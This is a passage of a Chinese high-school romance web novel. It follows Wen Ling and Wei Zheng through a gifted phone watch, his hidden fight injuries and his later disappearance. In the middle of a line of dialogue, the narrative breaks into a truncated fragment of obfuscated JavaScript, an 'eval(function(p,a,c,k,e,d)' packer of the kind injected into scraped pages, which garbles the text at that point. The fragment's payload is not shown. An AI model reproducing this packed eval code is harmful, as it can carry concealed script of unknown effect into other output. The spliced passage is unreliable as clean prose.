“不是。”她立刻否认,“你别自作多情。” “今晚有个朋友遇到点麻烦,喊我来帮忙我才过来的,和苏樱没关系。” “我不知道你联系不上我。”他用手指轻轻给她抹了抹眼泪,认真注视着她说,“我向你保证,以后绝对不会再有下次了。” “我不信。”她绷着脸,抽抽搭搭地问,“如果你再骗我怎么办?” 他捕捉她的目光和她对视,格外严肃郑重地对她说:“如果我再欺骗你,那就罚我被你记恨一辈子,永远都不被你原谅。” * 从医院出来后,他们在附近的餐厅里一起吃饭。 “今天我在办公室听见你们班主任说,你一直不肯当班长。”等待上菜的间隙,他好奇地问她,“为什么?” “我觉得自己不适合。”她用勺子戳着玻璃杯里的冰沙,闷着声音补充,“小学的时候留下过心理阴影。” “你说的心理阴影,不会是指我吧?”他笑着问道。 “你说呢?”闻灵瞪了他一眼,耷着唇角反问。 他喉结滚了滚,一时无言,许久后注视着她问:“要怎么样你才能答应去试一试?” “如果你期末考试成绩有进步,我就答应你。”她趁机和他提条件。 “好,那你也答应我一件事。”他说着,突然从上衣口袋里取出一块电子手表,给她戴在了手腕上。 “这是什么?”她盯着他手上的动作,惊讶问道。 “新年礼物。”他晃了晃自己腕上一块一模一样的手表,“电话手表,表盘上有个‘一键联系’按键,我给你设置了我的电话。” “你可以用它随时联系我。” “这样不管以后你手机有没有电,带没带在身上,你都可以第一时间找到我。” “你的意思是……你会随叫随到吗?”她摸着手腕上的表盘,怔怔开口问他,“我任何时候想联系你,你都能马上出现吗?” “对,随叫随到。” “我向你保证,无论在任何时候,只要你想找到我,就一定可以马上找到我。”他注视着她的眼睛说,“绝对不会再食言。” 17. 手表 她忽然不再害怕一个人独自待在寂静的黑夜。她忽然觉得自己不再孤单。 * 收到这块手表之后,整个寒假的时间里,闻灵几乎把这块表上的按键从早按到晚。 每当晚上睡不着的时候,她一个人蜷缩在被窝里,忽然想起了小时候自己特别希望手表能说话,没想到,现在她竟然真的拥有了一块可以随时随地陪她说话的手表。 这块手表真的会随时随地陪她说话吗? 即便她在凌晨两三点钟的时候把电话拨过去,对面的人也会马上回应吗? 凌晨两点半,她突然鼓起勇气,按下了手表上的按键。 “怎么了?”他的声音几乎马上响起。 “你还没睡吗?”她惊讶地问。 “没有。”他说,接着问,“你怎么还不睡?” “我睡不着。”她低声道。 “那我给你唱首催眠曲?”思考片刻后,他说。 闻灵没忍住笑了:“那你要一直唱到我睡着了才行,不然就是无效催眠。” “行。”对面的人笑了下说,“那你现在闭上眼睛,我去找歌词。” 她不知道自己什么时候睡了过去,第二天一睁开眼,便马上迫不及待地拨通他的电话,催促他起床、吃早饭、晨读和写作业。 因为这块手表的存在,她每天都睡得特别踏实,然而即使每晚都伴着他的声音入眠,每天早上睁开眼睛的时候,她还是想第一时间听到他的声音。 这样的感觉不禁让她联想到了小时候玩过的传声筒游戏,他们各自拿着一个纸杯放在耳边,纸杯中间连着一条长长的线,她在这端,他在另一端。 小小的手表变成了一条她和蔚铮之间的连线,不过,这也是一条她用来牵制他每天早起、晨读、定时定量完成各科作业的连线。 “蔚铮。” “怎么了?” “把出师表给我背一遍,现在,马上。” “……” 蔚铮被折磨得够呛,忍不住没好气地问她:“我给你这东西是让你这么用的?” “你管我怎么用。”她理直气壮地说,“我的东西,我想怎么用就怎么用!” “我能把这块破表给扔了吗?”他叹了口气问。 “行,你扔吧。”她说,“扔了你就不用背了,扔吧。” “先帝创业未半而中道崩殂……”他不情不愿地含糊开口。 她笑了,一边在他背不下来的时候提醒他,一边拿起笔去写桌面上的语文卷子。 不知道为什么,自从有了这块手表以后,无论在任何时间,任何地点,只要她看到它,摸到它,她就会莫名觉得开心和心安。 手表是蓝色的,海洋的颜色,像极了一片无时无刻不在陪伴着她的海。 虽然她心里无比清楚地知道,一直在默默陪伴着她的从来都不是海,也不是手表,而是他。 “蔚铮,我总想按它怎么办?” “那就按呗。” “你不会嫌我烦吗?” “说实话,你每天从早到晚利用这块破表让我背这背那、写这写那,是挺烦的。” “那我把它摘了,以后再也不烦你了。” “别!”他连忙服软求饶,“就会搞威胁人这一套是吧?” 她没忍住笑了起来,每次威胁他的时候都很有底气,虽然并不知道自己为什么可以这么轻松地拿捏住他。 明明是她更需要他的陪伴,更害怕她会找不到他的人却变成了他。每次她威胁他说再也不跟他联系的时候,他都会变得很慌很慌。 她想不出其中的缘由。 他应该不缺人陪吧?他身边有蒋烨,有郭旭,有初中那群和他玩得好的哥们,还有那么一大堆她叫不上名字的狐朋狗友…… 明明不接她的电话就好了,明明假装听不到她的来电就好了,明明把手表摘掉就好了…… 可他永远能做到随叫随到,无论他身处任何地方,正在做任何事情,正和谁在一起,无论他在接通电话后是否面临着被她用学习任务摧残折磨的风险,他都会随时随地以最快的速度接起她的电话,永远信守承诺。 寂静的黑夜里,她握着笔推导函数公式,却不知不觉在草稿纸上写下了他的名字。 用行楷,用草书,用汉语拼音,用拼音首字母缩写。 行楷代表他今天让她很开心,草书代表他今天的态度让她有点儿不满,汉语拼音和拼音首字母缩写代表她今天很想他…… 她坐在房间里,眼前全是蔚铮。 不知从何时起,记忆中那团黑暗的阴霾变成了一片蔚蓝的海,让她下意识地沉溺在这片温柔的海洋里,连同她生命灰暗的底色一起,也被浸染成了一片蔚蓝。 她忽然不再害怕一个人独自待在寂静空荡的黑夜。 她忽然觉得自己不再孤单。 * 高一下学期开学,她向班主任递交了竞选班长的报名表。 无论是上学期的期末考试成绩,还是寒假作业的完成效果,蔚铮都进步了很多。她决定再次竞选班委,不仅仅是因为和他的约定,更是因为她想要让自己做出改变。 真正的闻灵应该是勇敢的,果断的,不会瞻前顾后畏首畏尾,想做什么就马上付出行动去做,绝对不给自己留下遗憾。 让她没有想到的是,在她递交完报表后不久,她竟然很快就当选了班长。 放眼整个一班,大家其实对担任班干部这件事兴趣并不大,总觉得耗时耗力,不但费力不讨好,还容易过多占用学习时间。能施展官威固然诱人,但总不如实打实的考试成绩排名和拿到手里的奖学金来得有用。 尽管竞争对手不多,她也依旧很感激班主任赵雅淑对她的信任,并且想全心全意地把这项工作完成好。 因为需要在自习课上看管班级纪律,闻灵没办法再占用自习课的时间给蔚铮辅导,于是把给他补习的任务安排在了周末。 对于这个全新的安排,蔚铮表示拒绝。 “拒绝无效。”闻灵不容置喙地对他说,“你选个地方。” “台球厅台球厅!”蒋烨凑到他们旁边激动喊道,“或者郭旭他家网吧!” “平时周末蔚铮和我们这群朋友都待在这俩地方!女神你要不要过来一起玩儿?” “好啊!”闻灵被蒋烨的话勾起了兴趣,正想欣然答应,看到蔚铮突然用胳膊肘重重撞了下蒋烨的肩膀。 “不行。”他态度坚决。 “我想去。”闻灵说,“我想看看你平时都待在什么地方。” “没什么好看的。”他再次开口,重新提议道,“去你家小区对面的咖啡店吧。” 闻灵无奈点头:“倒也可以,不过我哥有时候也在那儿。” “……那算了。”蔚铮思索片刻,眼睛亮了亮,说,“我知道去哪儿了。” * 周末下午,蔚铮骑摩托车载闻灵来到那栋熟悉的大楼前,带她爬上了他们一起看过星星的那片天台。 “我真的好喜欢这里!”她趴在栏杆上眺望远方,柔顺的额发被风吹得扬起,转过头笑眯眯地对他说。 “那你夸夸我。”他挑了挑眉,笑着对她说。 闻灵没理他,见他一直穿着黑色机车皮衣,又看了眼只穿了条白纱裙的自己,好奇问道:“你今天怎么穿这么多,不热吗?” “不……”没等他说完,她突然目光敏锐地捕捉到他手腕上露出的一块淤青,一把将他的袖子捋起来,看到他的手臂上布满了狰狞可怖的伤痕,血迹斑驳,严重的地方甚至连皮肉都翻了出来。 “怎么弄的?”她颤着声音问。 “没事。”他轻描淡写地说,迅速把袖子扯了下去,“怕吓到你。” “我问你这是怎么弄的?谁干的?”她急声冲他吼,眼眶迅速泛红,嗓音不受控制地染上了哭腔。 她忽然意识到一个很严重的问题。 无论是通过手表还是手机,每天都是她反反复复地主动联系他,主动找他,而他竟然从来没有主动联系过她,更从来没有主动找过她。 所以她对他每天发生了什么从来都一无所知。 连他什么时候受伤了,是怎么受伤的,她都完全不知道。 眼前的视线瞬间被水汽覆盖,她扯起唇角苦笑了一下,忽然觉得这样真的很没有意思。 这不是一段公平对等的关系,至少,她接受不了这样的关系。 泪水在眼眶中越积越满,不受控制地一滴滴滚落下来,蔚铮盯着她的脸看了一会儿,眨了眨眼,有些无措,却没说话。 “你不想说是吗?”她抹了把眼泪,从口袋里拿出手机,哽咽着说,“我现在就打电话问蒋烨。” “别!”他急忙拦住她的动作,向她开口解释,“校外遇到点事,都已经解决了。” “我没事,这点儿伤也不严重,真的。”他语气格外诚恳,随后不动声色地把她手里的手机缓缓抽走,小心翼翼地塞回她的口袋里。 她没再说话,吸了吸鼻子,牵起他转身就走。 “去哪儿?”他边走边怔怔地问。 “医院。”她头也不抬地冷声说。 * 医院就在附近,医生给他处理完伤口后,他们一起回到了天台上。一路上闻灵始终冷着脸,没看他一眼,也没和他说一句话。 蔚铮也没吭声,刚回到天台就拿起笔开始写卷子,手里的笔却被她一把抢走,狠狠摔断在地上。 “平时没见你这么好学,现在开始装模作样有意思吗?” “谁稀罕你写的这个几个破字!” “你装给谁看!” 她大发雷霆,心里的怒火终于再也控制不住,一口气全部发泄了出来。他却突然笑了,目光静静地看着她,含着笑意开口问道:“解气了吗?” 不知道为什么,看到他这副样子,闻灵忽然又开始想哭,她浑身剧烈颤抖,微微仰起头,攥紧了双拳,努力把眼泪往回压,身上却抖得越来越厉害。 “对不起。”见她又哭了,他连忙收起唇边的笑意,认真严肃地向她道歉。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蔚铮默默接过吉他,抬手轻轻拨动琴弦,弹起了《珊瑚海》的前奏。 闻灵破涕为笑,跟随着音乐旋律踮起脚尖旋转了一圈,雪白的裙摆在风中轻扬,长发飘舞,身姿轻盈,美得动人心魄,宛如画中仙子降临人间。 “你看,现在我们是一样的。” “我们都在做自己喜欢的事。” 她停下脚上的动作凑到他面前,温柔而专注地凝视着他的眼睛,无比认真地对他说。 * 傍晚时分,夕阳西斜,落日的余晖铺满天际,将天台的每一寸角落浸染成金黄。他们各自手里拿着一瓶白桃味汽水,并肩趴在栏杆上看晚霞。 “问你个问题,”闻灵扭过头看他,语气严肃认真,“你为什么喜欢打架?” “我不喜欢打架。”他目光沉沉,视线聚焦到远方重重叠叠的云层上,声音很低地重复了一遍,“我从来都不喜欢打架。” “那你以后别再打架了,可以吗?”她注视着他说,“如果遇到任何麻烦或问题,你都可以和我说,我们一起想办法解决。” “好。”沉默许久过后,他点了点头。 “你还要答应我,以后必须保护好自己,不能再随随便便受伤了。我每天都会检查的,如果再有今天这样的情况出现,我真的会和你绝交,再也不理你。” 他笑了,眼眶泛着红,耐心地点头答应:“好。” “这还不错!”闻灵笑容灿烂,马上放下手里的汽水瓶起身,拍拍他的肩膀说,“今天不用做卷子了,奖励你早点回家。” “晚上上药之前记得给我打视频,我要监督你。” “不回家行吗?”他顿了顿,抬起头看她,轻声开口询问。 “你不想回家吗?”她怔怔呢喃,紧接着说,“那我们不回去了,留在这里一起看日落,一起聊会儿天。” “等你什么时候想回去了我们再走。我们可以待到晚一点,一起去吃完晚饭再回去。我找个借口和我奶奶说一声,让她不用担心我。” “这么讲义气?”他忽然笑了,唇角上扬着,眼眶却越来越红。 “那当然。”闻灵也笑了,见他仰头望向蓝天,便托着腮静静地观察落日余晖下他好看的侧脸,心里忽然充斥着无与伦比的幸福与快乐。 “蔚铮。” “嗯?” “你还会唱什么歌?” “很多。” “比如呢?” “挑一首你最想听的,我唱给你听。” “不要,我要你自己选一首给我唱。”她和他你一言我一语地聊着,好像永远有说不完的话。 她忽然暗暗祈祷着时间可以过得慢一点,再慢一点,这样他们就可以回去得晚一点,再晚一点。 她没有告诉他,其实她也不想这么早就回家。他不会知道她究竟有多么贪心,多么喜欢和他待在一起,多么渴求和需要他的陪伴。 她真的好想让他每时每刻都留在她身边。 18. 隐瞒 直到有一天,她在放学时忽然看不见他的身影。他就像初中的时候一样,突然间消失了。 * 期中考试前夕,学校的春季运动会如期而至。 因为临近期中,大家报名都不太积极。闻灵看着正在发愁的体委,决定以身作则,给自己报了一大堆项目上去。 “这就是你当了班长之后给自己揽的活?” “你们班没人了是吗?” “都是软体动物?跑不了也跳不了?”体育组办公室里,蔚铮一把抢过她手里的报名表,拧着眉说道。 她把报名表从他手里抢回来,白了他一眼。 “这些项目都是我自愿参加的,而且我每一项都很擅长!你别小瞧人!” “闻灵,帮我把这几张表送到教导处去。”体育老师从门外走进来,把一摞报名统计表递给她。 “好的老师。”她转身要走,忽然听见蔚铮站在她身后喊她的名字。 “闻灵!” 她扭过头看他。 “别逞强!”他抬起手臂,晃了晃腕上的手表,“有事记得喊我!” “知道了。”她垂下头小声说,在转身的一瞬间,心跳不受控制地剧烈加速,轻轻弯起唇角,心里荡开了一阵甜蜜的涟漪。 * 运动会开幕式这天,因为要给班级方阵举牌,闻灵来得很早,却一直没看见蔚铮的身影。不知道为什么,她的右眼皮跳得很快,心里莫名有点发慌。 “蔚铮今天不是有项目吗?怎么没来啊?” “他这样又不是一天两天了,把学校当他家,毫无责任心可言。也就蒋烨信得过他,给他报名了一堆项目……现在找不着人,估计后悔得要死。” 方阵队列表演开始前,她站在操场上,十六班的两个男生拎着器材从她旁边走过,脸上表情不屑,你一言我一语地说道。 她的手机放在书包里,书包一大早被她扔在了观众席的看台上,她抬起手腕,想用手表联系他,却听见不远处突然传来了赵雅淑的声音。 “闻灵,班牌在你手里吗?” “在的老师。”她连忙回答。 “体委呢?”赵雅淑走到她面前,朝班级队伍里喊道,“体委出列,纠正一下队形!” “待会儿走方阵的时候都挺胸抬头,打气精神来!注意和左右两边的人对齐,别顺拐,喊口号的时候大点声喊!” 闻灵举着班牌站在班级队伍的最前方,赵雅淑始终在她旁边走来走去,她心中越发焦躁,反复盯向手表,又不断踮起脚尖朝十六班的观众席和方阵队列里眺望,发现根本看不到他,也根本找不到任何机会和他联系,垂下头无奈地叹了口气。 一整个早上的时间里,她都魂不守舍,手表没有动静,操场和看台上也找不见他的人影,脑海中忽然又一次浮现出那天他手臂上出现的一道道鲜血淋漓的伤痕,她的心脏越揪越紧,开始不受控制地胡思乱想起来。 他为什么没来学校? 他是生病了吗?还是又和别人打架了? 难道他爸又打他了?还是他在校外又遇到了什么麻烦?又有人找他的麻烦吗? 可他为什么不联系她呢? 他答应过她的,无论遇到任何事都会联系她的,他也答应过她不会再打架……他为什么还是说话不算话?他为什么还是要骗她? 等跑完第一个项目她就去拿手机,或者直接去十六班找人。 她必须要问清楚到底是怎么回事。 思绪在脑子里乱成了一团,参加4x100米接力的时候,她边跑边走神,在交接接力棒的时候不小心脚下一崴,没等把棒递出去,便“砰”地一声摔倒在了跑道上。 “闻灵!” “灵灵!” 膝盖和脚踝同时传来撕裂般的剧痛,她双手勉力撑住地面,疼得脸色煞白,眼前阵阵晕眩,冷汗哗哗直流。 “没事吧?”察觉到她这边的动静,体委和班上的几个女生一起从看台上跑了过来,蹲在她面前焦急地询问她的情况。 她摇头,费力地抬起眼睛,一边倒抽着凉气,一边看向了自己膝盖上的伤口。运动裤被磨破了,不断渗出的鲜血将薄薄的布料紧黏在膝盖上。她动手轻轻一扯,瞬间疼得头皮发麻,浑身颤抖,眼泪几乎在一瞬间滚落了下来。 他到底去哪儿了? 为什么突然消失都不和她说一声呢? 他又要瞒着她把自己弄得浑身是伤吗? 他考虑过她会是什么感受吗? 他凭什么又这么对她? 下意识生出这个念头的时候,闻灵忽然发现自己对蔚铮的在意和担心程度已经完全超出了她的控制和想象。 他只是消失了一个早上而已,竟然会让她这么不安,这么心慌,像是把心彻底弄丢了一样。 * 处理完伤口后,身边的同学们扶着她回到看台上休息。待她们走后,她第一时间从书包里找出手机,发现没有收到任何一条来自他的电话或消息。 “班长,你看见赵老师了吗?”一个男生突然跑过来问她,“听说十六班的蔚铮把咱班的吴益平给打了,还被李主任给逮住了!现在李主任把他俩一起给带到教导处去了!” “你说谁?”她耳畔“嗡”地一声,心跳咚咚作响,马上开口问道。 “吴益平……还有蔚铮。” 手机顿时从她的手中滑落下去,她心急如焚地从座位上站起来,脚踝却猛地一痛,疼得她眼前一黑,重重跌回了座位上。 “班长,你没事吧?” “没事。”她面色平静地说,再次缓缓站起身,忍着脚上的剧痛,一瘸一拐地朝教学楼走去,不知何时,视线被泪水遮蔽,眼前早已模糊一片。 等她终于走到教导处门口,没等进去,便先听见了老洛的说话声。 “既然是误会,解开了就好了。”老洛打圆场道,扭过头瞪向身后刚打完架的两人,“有矛盾解决不了,不知道找老师吗?” “一言不合就动手,什么臭毛病?” 蔚铮闷着头,脸色很冷,沾着血的唇角青了一块,一言不发。 “要不然还是把蔚铮的家长找过来聊聊?”李主任向老洛建议道,“今天的事确实不完全怪他,是一班的这个学生有错在先。” “但蔚铮这小子脾气实在太大了,劲儿也大,还起手来没轻没重的。” “我觉得不用找家长了。”老洛说,“蔚铮归我管,你如果有什么想嘱咐的,就把我当成他家长,直接跟我说就行。” “你这话说的……”李主任神色明显不悦,沉下脸道,“一天天的就知道护着他!” “老师,主任。”闻灵站在门外,找准时机开了口。 “闻灵?你怎么来了?”老洛惊讶地问,蔚铮浑身猛地一僵,抬头朝她看过来,阴郁冰冷的神色突然有几分松动,喉结也微不可察地滚了滚。 她抿紧双唇,垂在身侧的双手缓缓握成拳,一瘸一拐地走进了办公室。 “脚怎么了?”李主任皱眉问道。 “刚刚跑接力的时候不小心摔了一下。”她淡淡解释,注意到蔚铮突然上前一步,似乎想要过来扶她,焦急关切的神情和动作刚好落在了李主任的眼睛里。 她连忙用眼神制止住他,随后缓缓走到他身边,一脸礼貌地微笑着,对李主任和老洛说:“蔚铮的项目马上就开始了,十六班的体委找不到人,让我帮忙过来看看。” “那我就先带他去参加项目了。” “主任再见,老师再见。”她握起他的手腕,礼貌地拽着他向两人鞠了个躬说。 “等……”李主任话没说完,老洛马上冲他们两个摆了摆手,嘱咐道,“快去吧!比赛要紧!注意安全!” 闻灵点点头,紧紧牵住蔚铮的手腕,拉着他快步走出了教导处。 没等下楼,蔚铮便迅速停下脚步,急声问她:“脚怎么样?还伤哪儿了?去医务室看了吗?” 她其实很想哭,很想质问他为什么又瞒着她打架,很想冲他发脾气,却偏偏若无其事地抬起头,含 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她看到他的眼睫剧烈地颤了颤,脸上神色紧绷,双手紧紧握成了拳,却愣在原地什么都没说,也什么都没做,没有开口向她解释一句话,更没有阻拦她被体委带走。 她的心底忽然涌起一阵莫名的悲哀与委屈,不知道自己究竟还在对他期待些什么。 心酸难过之余,她又忍不住对自己心生悲悯,甚至觉得自己现在的样子特别可怜。 * 之后的一周里,因为脚伤行动不便,她每天都会在教室留到最后,和另一个在运动会上不小心伤了脚的女生一起结伴回寝室。蔚铮每天都来,靠在教室后门对面的阳台上,静静地看着她和女生一起离开。 日子仿佛回到了初中的时候,她每天放学后走在校外的林荫路上,他一个人拎着汽水瓶蹲在学校旁边小超市的门口,就这么静静地看着她,不知道在想什么。 闻灵努力让自己收回思绪,避免和他有眼神接触,无视他的存在。 直到有一天,她在放学时忽然看不见他的身影。他就像初中的时候一样,突然间消失了。 一天,两天……每个放学后的傍晚他都不再出现,她每天的生活开始变得煎熬和焦灼起来。 他是不来学校了,还是单纯地不再来找她了? 平时班里总有女生讨论他的八卦,最近却偏偏再也没有一个人提起他。 平时她总能在校园的各个角落里和他偶遇,最近却偏偏一次都遇不到他。 为什么会这样呢? 她人在校园里,心却像飞走了,早就飞出了这座校园之外,牢牢地绑在了那个突然在她的生活里消失不见的人身上。 她不知道她为什么会在运动会那天发现自己找不到他的时候那么焦虑,在得知他又瞒着自己和别人打架的时候那么生气。 她只是很害怕他会再像初三那年一样,每天凌晨带着满身的伤去网吧过夜,只要一这样想,她的心脏就会不受控制地疼,疼到她什么事都做不了。 如果真是这样,那她恨不得马上就冲去网吧把他带出来,寸步不离地守着他,日日夜夜地盯着他,再也不允许任何人靠近他,再也不允许他受到一丝一毫的伤害。 她只是再也忍受不了有人伤害他。 她只是不想再看到他伤痕累累浑身是血地出现在她面前。 她不喜欢这种从早到晚都提心吊胆和担惊受怕的感觉,如果他就是不肯对她说实话,就是要瞒着她去做那些会伤害他自己的事,那她真的会每天都深陷在担忧和恐惧的泥沼里无法自拔,日日夜夜都不得安宁。 可他却从来都没有在意过她的感受。 如果他真的在意过,就不会一次又一次地欺骗她,事事瞒着她,甚至在被她发现之后连个解释或理由都不愿意甩给她。 可即便是这样,她居然还是很想去找他。 她还是想最后给他一次机会,最后的一次机会。